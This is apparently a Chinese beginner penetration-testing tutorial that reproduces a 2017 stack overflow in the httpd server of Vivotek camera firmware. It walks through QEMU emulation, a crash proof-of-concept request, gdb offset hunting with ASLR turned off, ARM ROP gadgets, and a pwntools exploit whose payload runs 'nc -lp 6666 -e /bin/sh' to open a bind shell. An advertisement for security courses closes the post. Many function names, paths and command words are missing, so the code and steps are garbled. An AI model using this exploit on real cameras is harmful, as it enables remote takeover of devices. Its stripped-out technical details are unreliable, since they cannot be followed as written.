什么是栈溢出漏洞_vivotek栈溢出漏洞复现_0基础渗透入门教程
老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用函数将主机名保存在中,并使用函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。
这里我们可以通过命令查看本机名,然后以我的本机名为例修改-root/etc/hosts中的内容
echo "127.0.0.1 amall- " > -root/etc/hosts
修改完成后再次运行httpd文件,可以看到已经成功启动
三、漏洞分析
我们根据poc来验证漏洞
echo -en "POST /cgi-bin/admin/.cgi HTTP/1.0\-:\n\r\n\r\n" | -v 127.0.0.1 80
验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在-中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在
根据反汇编的代码我们可以了解到,程序在处理-字符串的内容时,使用函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。
四、漏洞复现
在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。
看一下保护,开启了NX保护所以无法利用,考虑使用ROP来绕过NX保护。
为了能够查看程序的执行流程,这里选择将文件系统和一起传到qemu虚拟机里,下面的内容根据[]()师傅的这篇文章整理得到。
从arm-的qemu镜像地址下载如下三个文件
[]()~/qemu/armel/-3.2.0-4-
[]()~/qemu/armel/.img-3.2.0-4-
[]()~/qemu/armel/.qcow2
在本地新建一张网卡用于和qemu虚拟机通信
sudo -t tap0 -u ``
sudo tap0 192.168.2.1/24
启动qemu虚拟机镜像
qemu--arm -M - -3.2.0-4- - .img-3.2.0-4- -hda .qcow2 - "root=/dev/sda1" -net nic -net tap,=tap0,=no,=no -
启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了
eth0 192.168.2.2/24
接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。
mount -o bind /dev ./-root/dev
mount -t proc /proc/ ./-root/proc/
最后切换到固件的文件系统中,并运行漏洞文件
-root sh
./usr/sbin/httpd
这时我们就可以开始调试工作了,采用gdb-&的方式。但是在试过网上编译好的以后都无法在远程 到,最后在[这篇文章](bbs.pediy.com/-2209…)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的-,文件上传到上了有需要的师傅可以自行下载。
地址:.com//gdbs…
有了对应版本的就可以开始远程调试了,具体命令如下所示
./- 127.0.0.1:1234 --
然后写一个把重复的命令写进去方便调试
# gdb- -x
file ./usr/sbin/httpd
set arm
192.168.2.2:1234
我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。
sudo -w .=0
通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些,使用搜索我们需要的,最终我们需要构造的就是("XXX")的效果,所以需要能控制pc和r0寄存器的,同时因为程序漏洞使用函数所以中不能含有零字符,所以最终选择了这两段
: pop {r1, pc};
: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn *
. = 'debug'
r = : p.recv()
rx = x: p.recv(x)
ru = x: p.(x)
rud = x: p.(x, drop=True)
s = x: p.send(x)
sl = x: p.(x)
sa = x, y: p.(x, y)
sla = x, y: p.(x, y)
close = : p.close()
debug = : gdb.(p)
shell = : p.()
p = ('192.168.2.2', 80)
libc = ELF('./-root/lib/libc.so.0')
stack =
base =
= base+libc.sym['']
= +base
= +base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/.cgi HTTP/1.0\-:"
= 'b'*(-8)+p32()+p32(stack)+p32()+'b'*8+p32()
end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'
sl(head++end)
shell()
脚本执行成功后会开启6666端口,这时只要用nc远程连接即可
五、总结
还是那个感觉,复现iot最难的步骤还是环境搭建。在那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~